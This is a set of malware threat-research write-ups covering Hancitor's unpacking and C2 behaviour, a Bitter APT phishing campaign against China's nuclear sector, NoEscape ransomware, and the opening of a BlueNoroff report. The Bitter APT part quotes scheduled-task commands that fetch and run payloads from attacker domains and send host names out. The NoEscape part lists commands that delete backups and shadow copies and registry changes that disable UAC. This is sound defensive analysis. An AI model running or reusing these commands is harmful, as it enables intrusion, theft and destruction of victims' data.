Finally, the executable code used to decrypt the encrypted data is located at the end of the section.


Figure 7 shows the structure of the memory section.


Figure 7 – Structure of the encrypted section.


The API function located at the beginning of the memory section are resolved using GetProcAddress.


However, instead of being resolved within kernel32.dll, they are resolved in kernelbase.dll.


This is important to note because when debugging Hancitor samples, breakpoints are most commonly set on functions from kernel32.dll and thus would not be triggered during execution.


After resolving the functions, the second decryption stage occurs.


Decryption Stage 2 As indicated


, the decrypted memory structure contains executable code.


As expected, the instruction pointer jumps directly to this section, which also contains the decryption algorithm for the second stage.


Before the decryption starts, new memory is allocated and the encrypted data from stage 1 is copied to it.


The decryption algorithm of stage 2 is generally the same, but uses 0x3E9 as the initialization key.


The output of this decryption leads us to a PE file.


Figure 8 – Overview of Hancitor’s decryption procedure.


The copy procedure is done section by section to bring the executable into the loaded form.


This technique is called self-injection or PE overwrite.


To make the new image runnable, several Windows API functions are resolved using GetProcAddress and directly patched into the memory of the loaded executable.


These function addresses vary from installation to installation, so this patching cannot be done by a static unpacker.


For all the other decryption procedures described, you can find a static unpacker script in our GitHub repository.


To effectively run the new payload, a return to the correct DLL entry point is made.


It is important to note that the AddressOfEntryPoint in the optional header does not match the exported functions DllRegisterServer or DllUnregisterServer and it is necessary to run one of the exported functions to start the malware.


When using x32dbg to analyze the sample, simply patching the AddressOfEntryPoint to one of the exported functions makes the DLL runnable.


Running Hancitor Malware As soon as the unpacked executable is running, the malware gathers information about the infected system.


The following disassembly shows calls to multiple functions used to collect the information.


Figure 9 – x86 disassembly of Hancitor’s information gathering function.


First, the malware calls a function we named “getComputerInfo”.


This function obtains the username, the computer name and the domain of infected system.


The subsequent functions collect additional information such as the machine’s public IP address, domain trust information and the computer architecture.


The malware identifies the computer’s public IP address by making a HTTP GET request to “hxxp://api.ipify[.]org”, a free public IP address API.


All the collected information is then put together into a query string which is generated based on the computer architecture.


Figure 10 – Query string containing system information before being sent to the C2.


To determine the command and control (C2) servers waiting for the data to be sent to, the malware calls a decryption function that uses the RC4 algorithm to get a list of potential C2 URLs.


Figure 11 – URL and build decryption function.


After successfully decrypting the C2 URLs, the data is sent there using a HTTP POST request adding the constructed query string as data.


To increase the probability of reaching an active server, the malware iterates over all the decrypted C2 URLs and tries to reach all of them until one of them sends a response.


Figure 12 – C2 communication function.


We assume that based on the received data the C2 server responds with either a simple string which can be decrypted to an active malware download server or with garbage data in the form of a simple string.


Although the decoding algorithm of the C2 response looks quite complex, it is actually Base64 decoding, followed by an XOR operation using the key 0x7A.


If the decryption leads to a valid URL, the malware initiates a download, which delivers an executable.


To execute the binary, Hancitor uses one of the following techniques: Create Process Create Thread Process Hollowing Thread Execution Hijacking Create Process If the method “Create Process” is chosen, then the malware writes the retrieved executable to disk into the temp folder and executes it using rundll32.exe with “start” as the argument for the entry function.


Create Thread The Create Thread method is as straightforward as Create Process.


The malware simply allocates some memory, writes the malware into it and creates a new thread from it.


Process Hollowing If the Process Hollowing method is used, a new svchost.exe process is created in a suspended state.


The malware then allocates new memory in the newly-created process, writes the executable to it and executes it in a new thread.


Figure 13 – Process creation function.


Thread Execution Hijacking The final execution method Hancitor supports is Thread Execution Hijacking.


This method is mostly the same as the above described Process Injection method.


The only difference is that the malware replaces the thread context with the downloaded executable and resumes it afterwards.


Conclusion This article should give a good overview of Hancitor’s capabilities and behavior as of February 2021. Indicators of Compromise (IOCs)


A list of IOCs is also available in the HP Threat Research GitHub repository.


Hancitor Word documents: 111a2dc96e082b86a79dd90ec307c977a21c7aee0ddb141d688a17bd65f3661d 40c3eb22a02601cf70a4ae08eeaa5805144386bc13882e5f110c133b1d0ede8e 678da85cecff2cdda8559281dfc8a89f87c44c6371cbda4de4bc9ea5cd2f5cf9 772c897ffdfb824b31d70ea360224714ab9bb83659bd431897cc74dd2defc2f3 080bade36015dd79925bab0975ac0f30f18424bdd1e7836d63c2dee350bdbd69 22043734ed3f774db7a88297286f6ecd56336d755cc19f1bd54f2a2ac58982cd 2ac3b573d70c40c5c0fafe4e5914c723f2322a1c9cd76d232447654604ff8b76 385425e94ed8ac21d7888550743b7a2b89afbeb51341713adb6da89cd63b5aff 3ffe9ef810d01e9f242558ba59e8c7483adb72e087132cb0fd1e55171c45690f 51dd023b55be138ac7cfe7379a55c0a2a46c01cd3b3f96a151b0a27ed9e12485 56f1795abf78f798a51b9224a5deb17aedd924629136832b526c93339f525e56 6cd76e8f33a945b51d20b909495bbc613f78151dbea6c3a7a3a235bfd2167cdf 7b013a271432cc9dea449ea9fcf727ed3caf7ce4cc6a9ba014b3dd880b5668dd 8bcf45c2de07f322b8efb959e3cef38fb9983fdb8b932c527321fd3db5e444c8 99b98b8c7033456ba7840ad99c65347a8026aee62bccbbac6d22ca4b0f5dfa1e a1ec1a483f549af7e6f26ffe8b2c2ef6ac8c8f0d99349350c1df5eaa327f1ed3 b1502cdbb5aeee57d0a5d38945c64855ba35c25d43a71bd72c3cf31665e5aa62 cab2a47456a2c51504a79ff24116a4db3800b099ec50d0ebea20c2c77739276d d6755718c70e20345c85d18c5411b67c99da5b2f8740d63221038c1d35ccc0b8 ed3fa9e193f75e97c02c48f5c7377ff7a76b827082fdbfb9d6803e1f7bd633ca Extracted OLE Object (DLLs): Ce2449b7f600b0317614419159e9364e1a76613ac0cb112c88be171638573049 0941090d3eb785dbf88fbfafffad34c4ab42877b279129616a455347883e5738 6caccc64a9db7cfce75076ad273d85d108f5b764fcbbb865fd27c91f86cccfad c5385df4db1e69b06cf36f4481365d1101679a5764d721e369ea1d5d4c4b6b2c 288fdf9c64da0251107df7f1c3283f328279ad581710a9cf71f67e53b0b1684d c3e06473c4c3d801c962e6c90ccbcab3d532fb5a6649077ea09cd989edf45eaf cdcd5ee8b80d3a3863e0c55d4af5384522144011b071d00c9c71ae009305f130 43690eaf47245d69f4bda877c562852e4a9715955c2160345cb6cc84b18ca907 00b2312dd63960434d09962ad3e3e7203374421b687658bd3c02f194b172bfe3 372da9447db4ca966a6a9fd45f12519637a562953a88b6d92fb26d3699c14799 878319795a84ebfe5122d6fc21d27b4b94b3c28ad66679f841dec28ccc05e801 82c9bc479ea92c1900422666792877e00256996ce2f931984115598ed2c26f23 edabef17fce2aaca61dbd17a57baf780cd82a2b0189b0cf3c5a7a3ca07e94a44 Unpacked Hancitor (without patched function addresses): 1c55c9e30e3e2a4837afd80e6fc75518494af379835f4b2a7f0eaf815d697951 419fda1fec9e44d7988ceeb9c5742a09198e6fa7f213c23b7c064e56cbd50b40 C2 URLs: hxxp://requirend[.]com/8/forum.php hxxp://spabyasiande[.]ru/8/forum.php hxxp://conlymorect[.]ru/8/forum.php hxxp://fruciand[.]com/8/forum.php hxxp://forticheire[.]ru/8/forum.php hxxp://nentrivend[.]ru/8/forum.php hxxp://cloolyepervir[.]com/8/forum.php hxxp://areentthrices[.]ru/8/forum.php hxxp://syleclisizame[.]ru/8/forum.php Build IDs: 1301_dsf7823 1101_jh372 2001_6tc3ers Malware download URLs: hxxp://anabolicsteroidsbuy[.]info/nedfr.exe The post Hancitor Infection Chain Analysis: An Examination of its Unpacking Routine and Execution Techniques appeared first on HP Wolf Security.


Intezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT, operating in the Asia-Pacific region.

Phishing Campaign Targets Chinese Nuclear Energy Industry


We have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files.


Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.


Bitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows.


For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used.


We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.


Analysis of Phishing Lures and Payloads We identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China.


In some emails, people and entities in academia are also targeted, also related to nuclear energy.


The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them.


The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload.


This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.


Figure 1: Attack flow described in this research Social Engineering with Phishing Emails The emails contain a number of social engineering techniques.


The name and email address used to send the phishing emails is crafted to look like it is coming from an “Embassy in Beijing.”


A free email provider is used, therefore domain reputation checks will not be useful.


Figure 2: Name crafted to appear as communication from an embassy The email is signed off with the name and details of an actual attaché of the Kyrgyz embassy in China.


If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email.


This is presumably also how the malicious actor was able to get information in order to craft the lure.


The email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.


Figure 3: Email body lure with nuclear themes Malicious Payloads via CHM and Microsoft Excel Files Multiple payloads have been observed being delivered.


Either CHM files, or Microsoft Excel files with Equation Editor exploits.


These payloads are compressed inside RAR files, this helps avoid static analysis techniques that do not decompress the files first.


The purpose of the payloads are to create persistence and download further malware payloads.


We were not able to get further additional payloads from the command and control (C2) servers, but in some instances were able to get the file names of next stages from active C2s.


Malicious Microsoft Excel Files The Excel payloads simply contain an Equation Editor exploit that creates two different scheduled tasks.


There is no decoy in the document.


One scheduled task (shown below) runs every 15 minutes, to download a next stage EXE payload using cURL, also sending the actor the name of the infected machine.


These tactics have been observed being used by Bitter APT in 2021/2022.


"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 15 /TN \Windows\DWM\DWMCORE /TR "cmd /c start /min


curl --output


%AppData%\dwmcor.exe


-O ""https://qwavemediaservice[.]net/hkcu/qt.php/?dt=%computername%-QT-2&ct=QT""" /f Figure 4: Scheduled task The second scheduled task created attempts to execute the payload downloaded by the other task: "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 20 /TN \Windows\DWM\DWMCORELIB /TR


"%AppData%\dwmcor.exe" /f CHM Files The more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files.


These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage.


We have noted multiple versions of these CHM payloads.


CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.


The first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2.


String concatenation is used to break up the string for obfuscation.


The computer name and the username is also sent to the C2.


"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn


AdobeUpdater /tr


"%coMSPec% /c


s^t^a^rt /^m^i^n m^s^i^e^xe^c


^/^i htt^p:/^/mirz^adih^atti^[.]com^/cs^s/t^ry.php?h=%computername%*%username% /^q^n ^/^norestart" /ft


We did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.


Figure 5: Empty payloads served from different C2 servers This may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack.


Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.


The second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.


Figure 6: Encoded PowerShell command in version 2 of the CHM files


The decoded command is the following: schtasks /create


/tn


WinSecurity /sc minute /mo 15 /tr


"powershell.exe -WindowStyle


Hidden -command curl -o %


LOCALAPPDATA%\pic.jpg https://coauthcn[.]com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\pic.jpg|powershell;timeout 9;del %LOCALAPPDATA%\pic.jpg" /f


It is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username.


What is interesting about the next version is that it now contains a decoy picture when opened: Figure 7: Decoy picture The decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party.


The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only): Figure 8: Machine translated version of the decoy Conclusion Bitter APT have been conducting espionage campaigns for years using many tactics, including phishing, to achieve their goals.


It is advised that entities in government, energy, and engineering especially those in the Asia-Pacific region should remain vigilant when receiving emails, especially those claiming to be from other diplomatic entities.


Always verify that the sender is trusted and understand that even if it claims to be from a particular person, it might not be.


None of the social engineering techniques used are novel and it is imperative that employees of companies should have a good standard of security awareness about phishing emails.


Always take care when handling attachments, and never open CHM files as they are antiquated and not commonly used for legitimate purposes currently.


– Want to learn more about automating your pipeline for phishing email investigations with Intezer?


Book a time to talk with us. – Indicators of Compromise File Hashes (SHA256) 5f663f15701f429f17cc309d10ca03ee00fd20f733220cc9d2502eff5d0cd1a1


(Email)


eb7aebded5549f8b006e19052e0d03dc9095c75a800897ff14ef872f18c8650e (Email) cac239cf09a6a5bc1f9a3b29141336773c957d570212b97f73e13122fe032179 (Email) 8d2f6b0d7a6a06708593cc64d9187878ea9d2cc3ae9a657926aa2a8522b93f74 (Email) 33905e2db3775d2e8e75c61e678d193ac2bab5b5a89d798effbceb9ab202d799 (Email) 5c85194ade91736a12b1eeeb13baa0b0da88c5085ca0530c4f1d86342170b3bc (Email) Ef4fb1dc3d1ca5ea8a88cd94596722b93524f928d87dff0d451d44da4e9181f1 (Email) b2566755235c1df3371a7650d94339e839efaa85279656aa9ab4dc4f2d94bbfa (RAR) 33a20950e7f4b2191706ddf9089f1e91be1e5384cca00a57cf6b58056f70c96b (RAR) 7e7e90b076ef3ea4ef8ed4ef14fb599a2acb15d9ce00c78e5949186da1e355cf (RAR) 07504fcef717e6b74ed381e94eab5a9140171572b5572cda87b275e3873c8a88 (XLS) 06b4c1f46845cee123b2200324a3ebb7fdbea8e2c6ef4135e3f943bd546a2431 (CHM) ded0635c5ef9c3d63543abc36a69b1176875dba84ca005999986bd655da3a446 (CHM) Network qwavemediaservice[.]net mirzadihatti[.]com coauthcn[.]com Mitre ATT&CK TacticTechniqueIDDescriptionReconnaissanceEmail AddressesT1589.002The actor gathers target email addresses to target with spearphishing emailsInitial AccessSpearphishing AttachmentT1566.001Spearphishing is used to deliver RAR attachmentsExecutionPowerShellT1059.001Encoded PowerShell is used by CHM payloadExecutionExploitation for Client ExecutionT1203Microsoft Office exploits are used to execute codePersistenceScheduled TaskT1053.005Scheduled Tasks used for both execution and persistenceDefense EvasionMsiexecT1218.007Msiexec is used to launch next stage payloadsDefense


EvasionCompiled HTML FileT1218.001CHM files are used to deliver payloadsDefense EvasionMasqueradingT1036Files are masqueraded as legitimate files and scheduled tasks are named after common tasks (eg.


Adobe Updater)DiscoverySystem Information DiscoveryT1082First stage payloads fetch Computer and User namesCommand and ControlWeb ProtocolsT1071.001HTTPS is used for C2 communicationCommand and ControlExfiltration Over C2 ChannelT1041Data can be exfiltrated The post Phishing Campaign Targets Chinese Nuclear Energy Industry appeared first on Intezer.


New Ransomware-as-a-service (RaaS) Targeting Vmware ESXi Servers Recently, Cyble Research & Intelligence Labs (CRIL) detected the emergence of a fresh Ransomware-as-a-Service (Raas) initiative called ‘NoEscape.’

Evasive NoEscape Ransomware Uses Reflective DLL Injection


This program was discovered to be promoted on a cybercrime forum towards the end of May 2023.


The creators of NoEscape were actively seeking affiliates to join their network.


CRIL has shared the details of this discovery through the latest blog post.


Following that, EVIL RABBIT, a security researcher on Twitter with the handle @D4RKR4BB1T47, recently shared a tweet featuring a picture of the dashboard panel used by the NoEscape ransomware group.


The figure below shows the post by security researcher EVIL RABBIT.


Figure 1 – NoEscape RaaS Affiliate Panel (Source: EVILRABBIT)


In addition to sharing the dashboard panel image, the security researcher also provided images of the RaaS builder page and accompanying samples associated with this specific ransomware family.


The affiliate website of NoEscape RaaS offers a range of executable building options, including EXE and DLL files for Windows 7 and above, reflective DLL injection for Windows 7 and above, executable files for Windows XP, and ELF executables for Linux/ESXi servers.


The affiliate page includes instructions for customizing the ransomware executables, such as specifying the ransomware name, ransomware key name, comment, price or ransom amount, and timer type (None, double, or leak).


According to the provided screenshot, the NoEscape RaaS platform offers affiliates the option to choose between generating a single encryption key for all binaries or creating distinct keys for each individual binary.


This flexibility allows affiliates to tailor their approach and encryption strategy based on their specific requirements or preferences.


The ransomware builder interface allows affiliates to configure various settings for building the ransomware executables.


These settings include specifying the size of large files where partial encryption is applied instead of encrypting the entire file, defining the primary path for encryption, specifying file paths to skip during encryption, targeting specific services and processes, configuring autorun entries, enabling auto ransom note opening, and even changing wallpapers on infected systems.


The below figure shows the screenshot of the NoEscape ransomware builder page.


Figure 2 – NoEscape RaaS Executable Builder Page Screenshot (Source: EVIL RABBIT) Technical Details Windows Variant We have taken the below sample hash for the purposes of this analysis: (SHA256), 68ff9855262b7a9c27e349c5e3bf68b2fc9f9ca32a9d2b844f2265dccd2bc0d8, which is a GUI-based x32 bit executable written in Microsoft Visual C/C++ compiler.


Figure 3 – File details Upon execution, the ransomware first creates a mutex named “Global\\{5d202e6e-b33a-4833-abfb-2391bc075089}” to ensure that only a single instance of the malware is running on the victim’s system.


UAC BYPASS After creating the mutex, the ransomware modifies specific registry values to disable User Access Control (UAC), a security feature in Windows.


UAC prompts users for permission or administrator credentials before allowing actions that could affect system settings or files.


By deactivating UAC, the ransomware gets elevated privileges without requiring user permission or administrator credentials.


This enables the malware to carry out malicious activities on the system without difficulty, posing a significant risk to the system’s security.


EnableLUA By modifying the below registry value EnableLUA to “0”, malware aims to deactivate User Account Control (UAC) on the target system.


UAC is typically set to “1” by default.


Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = “0” ConsentPromptBehaviorAdmin The ConsentPromptBehaviorAdmin key has been set to “0”, indicating that the behavior of the consent prompt for actions requiring administrator privileges has been modified.


By default, this value is typically set to “1”.


The consent prompt serves to ask for confirmation or administrator credentials from the user before permitting the action to proceed.


Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = “0” Kill Processes/Services After bypassing UAC, the ransomware terminates several processes, including 360doctor, GDscan, RTVscan, Apache, CCleaner, OneDrive, and others, if they are currently running on the victim’s machine.


The figure below shows the list of process names targeted by the NoEscape ransomware.


Figure 4 – List of Processes to Terminate Furthermore, the ransomware stops various active services on the system, including culserver, SQL, SQL Server, sophos, vmware-converter, VSS, and others.


The below figure shows the list of services targeted by the ransomware by service name.


Figure 5 – List of Services to Stop Prior to encrypting the files, the ransomware uses the FindFirstVolumeW() and FindNextVolumeW() API functions to search and identify accessible volumes on the targeted system.


Following this, the malware proceeds to drop a ransom note named “HOW_TO_RECOVER_FILES.txt” in multiple directories.


Once the ransom note has been dropped, the malware proceeds to identify files and directories for encryption by iterating through them using the FindFirstFileW() and FindNextFileW() API functions.


The NoEscape ransomware excludes the below file extensions and folder names from encryption.


Figure 6 – directory names and file extensions excluded by NoEscape ransomware Encryption To encrypt files in the victim’s system, the ransomware utilizes the “Microsoft Enhanced RSA and AES Cryptographic Provider” libraries.


Within these libraries, the malware leverages various functions from the CryptoAPI, including CryptAcquireContextW(), CryptImportKey(), CryptSetKeyParam(), and CryptEncrypt().


By utilizing these functions, the ransomware can employ robust encryption techniques to ensure that the victim’s files are securely locked and inaccessible without the decryption key.


Figure 7 – File Encryption In the next step, the malware renames the encrypted files with the extension “.CCBDFHCHFD” and replaces them with the original files using the MoveFileExW() API function, as shown below.


Figure 8 – MoveFileW() API


The image below illustrates the files that have been encrypted by the NoEscape ransomware after the successful infection on the victim’s machine.


Figure 9 – Files encrypted by NoEscape Ransomware Delete System Backup & Shadowcopy Additionally, the ransomware runs a series of commands to delete shadow copies and system backups, effectively preventing file recovery attempts.


By executing these commands, the ransomware ensures that alternative copies of the encrypted files are removed, limiting the victim’s ability to restore their files through backup or shadow copy mechanisms.


CommandsDescriptionwmic SHADOWCOPY DELETE /nointeractiveThis command uses the Windows Management Instrumentation Command-line (WMIC) to delete all shadow copies without user interaction.


It helps remove any remaining shadow copies that may not have been deleted by the other commands.wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldestThis command uses the wbadmin tool to delete the oldest system state backup.


System state backups include critical operating system files, such as the registry, COM+


Class Registration Database, and system files.wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0This command also uses wbadmin to delete all versions of system state backups except the most recent one.


The -keepVersions parameter specifies the number of versions to keep, and 0 means all versions except the latest one will be deleted.wbadmin DELETE BACKUP -deleteOldestThis command utilizes wbadmin to delete the oldest regular backup.


Regular backups typically include user data and other files.wbadmin DELETE BACKUP -keepVersions:0Similar to the previous command, this one deletes all versions of regular backups except the most recent one, based on the -keepVersions parameter.vssadmin Delete Shadows /All /QuietThis command uses the vssadmin tool to delete all shadow copies (also known as volume snapshots) on the system.bcdedit /set {default} recoveryenabled NoThis command uses the bcdedit tool to modify the boot configuration data (BCD) of the default boot entry.


It sets the recoveryenabled option to “No,” which disables the automatic recovery options during system startup.bcdedit /set


{default} bootstatuspolicy ignoreallfailuresThis command also uses bcdedit to modify the boot configuration data.


It sets the bootstatuspolicy option to “ignoreallfailures,” which means the system will ignore any failures encountered during the boot process.


The below figure illustrates the sequence of commands executed by the NoEscape ransomware to delete shadow copies and system backups.


Figure 10 – Commands executed to delete shadow copies and system backups Ransom Note Finally, the ransom note that is dropped in the system provides victims with instructions on how to establish contact with the NoEscape Ransomware Group to initiate negotiation proceedings regarding the ransom.


The ransom note serves as a communication channel through which the victims can follow the specified steps to engage with the ransomware operators and negotiate the terms of the ransom payment.


Figure 11 – NoEscape Ransom note Linux Variant The NoEscape Linux variant consists of three files: “script_linux.sh,” “script_esxi.sh” and “164f8295_linux.elf“.


Each of these files serves specific purposes and contributes to the overall functionality of the Linux variant of the ransomware.


Ransomware Targeting Linux Machines The “script_linux.sh” script is designed to facilitate the execution of a ransomware payload “164f8295_linux.elf“.


Its primary purpose is to carry out the encryption process on the victim’s Linux machine by scanning files in a specified or generic path and running the ransomware payload, “164f8295_linux.elf”, on each file it encounters.


The below figure shows the code snippet “script_linux.sh”.


Figure 12 – content of script_linux.sh The script “script_linux.sh” executes the following functions: SetLimits() –


This function is responsible for adjusting the resource limits of the running process.


Its purpose is to increase the maximum number of open file descriptors and the maximum number of allowed processes.


By doing so, the function ensures that the script has the capability to handle a larger number of open files and concurrent processes, which is crucial for efficient file encryption in the context of ransomware.


EmptyTrash() – This function is responsible for deleting all files and directories in the user’s trash folder.


It clears the trash before the ransomware starts encrypting files.


This step is taken to ensure that any previously deleted files in the trash cannot be recovered by the victims.


By emptying the trash, the ransomware eliminates any possibility of file restoration from that location, making the encryption process more effective and irreversible.


ExecPayload() –


This function executes the ransomware payload file “164f8295_linux.elf”, by passing the file path to be encrypted as an argument.


ScanPath(): This function scans a specified path by finding all files within the given directory and its subdirectories.


It then calls ExecPayload() for each file to execute the Ransomware payload, thereby initiating the encryption process.


WaitPayload(): This function waits until the payload process is no longer running.


It checks the number of running instances of the payload executable and waits until the count becomes zero.


The purpose of waiting for the Ransomware process to finish is to ensure that all files have been encrypted before proceeding to the next steps of the ransomware attack.


Cleanup() – This function performs cleanup operations after encrypting files in the victim’s machine.


It removes log files and temporary files from the root directory.


It also deletes the ransomware, script file, and ransom note (index.html), ensuring that no evidence remains on the compromised system.


Ransomware Targeting Vmware ESXi Servers The “script_esxi.sh” script is designed to automate the execution of ransomware payload “164f8295_linux.elf” on ESXi servers.


It targets specific paths, including NFS volumes and VM volumes, and encrypts files found within those paths.


The below figure shows the code snippet “script_esxi.sh”.


Figure 13 – Content of script_esxi.sh The script “script_esxi.sh” executes the following functions:


StopVMS(): This function stops running virtual machines (VMs) on an ESXi server.


It uses the esxcli command to list all VM processes and forcibly kills them.


It also kills any remaining processes related to VMs.


ScanNFS(): This function scans NFS (Network File System) volumes on an ESXi server.


It retrieves the list of NFS volumes using esxcli and then iterates over each volume to find files.


For each file found, it calls ExecPayload() to execute the ransomware payload.


ScanVMS() – This function scans VM volumes on an ESXi server.


It retrieves the list of VM volumes using the esxcli command and then iterates over each volume to search for specific files related to virtual machines.


These file extensions include .nvram,.vmdk,.vmem,.vmsd,.vmsn,.vmss,.vmx,.vmxf, and .vswp.


For each file found, the function calls the ExecPayload() function to execute the ransomware payload for encrypting them.


Deface() – This function replaces the “index.html” and “motd” files with ransom notes to ensure the ransom alert is displayed to victims upon login.


Post()-


This function modifies system files such as cron tab entries and configuration files to further disrupt the system and prevent recovery.


Linux Ransomware Payload:


The file “164f8295_linux.elf” (Sha256: 21162bbd796ad2bf9954265276bfebea8741596e8fe9d86070245d9b5f9db6da) is responsible for encrypting the files in the victim’s machine.


Upon execution, the ransomware encrypts files using the chacha20 algorithm.


The Ransomware incorporates a feature to encrypt larger files in smaller chunks.


The TA can mention the file size, which is considered as larger, and the size of encryption in the Ransomware panel while building the binary.


The below figure shows the code used by ransomware for validating and encrypting larger files.


Figure 14 – Validating and Encrypting Larger Files Finally, the Ransomware drops a ransom note named “HOW_TO_RECOVER_FILES.txt ” which instructs the victims on how to reach out to the TAs to recover their encrypted files and pay a ransom.


Figure 15- Ransom Note Conclusion NoEscape RaaS is a new ransomware group that aims to entice new affiliates with the promise of profits.


They are actively seeking affiliates through postings on various dark web forums.


Our analysis of the Windows and Linux malware executables indicates that the malware poses a threat to organizations of all types.


As the group is relatively new, it is likely that they will evolve their tools and tactics to target multiple organizations.


We will maintain our vigilance in monitoring NoEscape RaaS, their tools, tactics, and procedures, in order to provide regular updates to our customers and readers in the future.


Our Recommendations We have listed some essential cybersecurity best practices that create the first line of control against attackers.


We recommend that our readers follow the best practices given below: Safety Measures Needed to Prevent Ransomware Attacks Conduct regular backup practices and keep those backups offline or in a separate network Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic Use a reputed anti-virus and Internet security software package on your connected devices, including PC, laptop, and mobile Refrain from opening untrusted links and email attachments without verifying their authenticity Users Should Take the Following Steps After the Ransomware Attack Detach infected devices on the same network Disconnect external storage devices if connected Inspect system logs for suspicious events Impact of Ransomware Loss of valuable data Loss of the organization’s reputation and integrity Loss of the organization’s sensitive business information Disruption in organization operation Financial loss MITRE ATT&CK:registered: Techniques Tactic Technique ID Technique Name ExecutionT1059 T1204Command and Scripting Interpreter User ExecutionPersistenceT1547.001 Registry Run Keys / Startup FolderDiscoveryT1083File and Directory DiscoveryDefense EvasionT1070 T1562Indicator Removal Impair DefensesImpactT1486 T1490Data encrypted for impact Inhibit System RecoveryIndicators of Compromise (IOCs) Indicators Indicator Type Description 65f35ae4203cf5041a0aaa358dd3d74c ea1f7940271fc80d06b2f222506020b650ad41bc 68e5caa3f0fd4adc595b1163bf0dd30ca621c5d7a6ad0a20dfa1968346daa3c8MD5


SHA1 SHA2561ce30fbd_dll.dll9ea0d4448472cdeeb290e8006e8b1e9b 30f71a24c15dd81965b12996a79d914acf4f169e 2cd1ca52a5d404176f0ec7debeceb4ba3c95b139061f86ac971195b02d854b0cMD5


SHA1 SHA25606b91e4a_exe.exebd69a645fa69fd8d5ba56b9c3f468711 12dc0a2de3ad30201107bfcb679de5acacf31e5c 68ff9855262b7a9c27e349c5e3bf68b2fc9f9ca32a9d2b844f2265dccd2bc0d8MD5 SHA1 SHA25623cd1f01_exe.exec850f6816459e3364b2a54239642101b


30c60f18279ed5fd36e3ac2d3ba5ddbdc5d1f624 21162bbd796ad2bf9954265276bfebea8741596e8fe9d86070245d9b5f9db6daMD5 SHA1 SHA256164f8295_linux.elf473d65d1231ccdfa0099d463b09cf9b9 9cbc7417fa5ce2f6d87026337fc7892e4f485819 07c70968c66c93b6d6c9a90255e1c81a3b385632c83f53f69534b3f55212ced9MD5


SHA1 SHA256bd83e75f_dllreflinj.dll47ae17d89c2d9b6acdc7458f5df1c6f7 d38c613020cb4616783c8535380e28404f7eaebf 9d346518330eeefbf288aeca7b2b6243bc158415c7fee3f2c19694f0e5f7d51cMD5


SHA1 SHA256ca3ec998_xp.exe34de9725e232ba82275bb0dcf9282e16 b17403e7dcb992ba8d2b56dd843406264d3910e5 aa5a487db37ce176e17c7abbb2b1d460ba926344e46737f2f64b65bf5a4a3e58MD5


SHA1 SHA256script_esxi.sh17d55dc09e2a3f10d4ee45156c2c53f1 317f296131b37a73c9a5d253015821dfdc8b1190 16d9e969457a76874e7452e687a7b6843c65ef75d1a4404d369074ad389f6c38MD5 SHA1 SHA256script_linux.sh


BlueNoroff group is a financially motivated threat actor eager to profit from its cyberattack capabilities.

BlueNoroff introduces new methods bypassing MoTW


We have published technical details of how this notorious group steals cryptocurrency before.


We continue to track the group’s activities and this October we observed the adoption of new malware strains in its arsenal.


The group usually takes advantage of Word documents and uses shortcut files for the initial intrusion.


However, it has recently started to adopt new methods of malware delivery.


The first new method the group adopted is aimed at evading the Mark-of-the-Web (MOTW) flag, the security measure whereby Windows displays a warning message when the user tries to open a file downloaded from the internet.


To do this, optical disk image (.iso extension) and virtual hard disk (.vhd extension) file formats were used.


This is a common tactic used nowadays to evade MOTW, and BlueNoroff has also adopted it.


In addition, the group tested different file types to refine malware delivery methods.


We observed a new Visual Basic Script, a previously unseen Windows Batch file, and a Windows executable.


It seems the actors behind BlueNoroff are expanding or experimenting with new file types to convey their malware efficiently.


After researching the infrastructure that was utilized, we discovered more than 70 domains used by this group, meaning they were very active until recently.


Also, they created numerous fake domains that look like venture capital and bank domains.


Most of the domains imitate Japanese venture capital companies, indicating that the group has an extensive interest in Japanese financial entities.


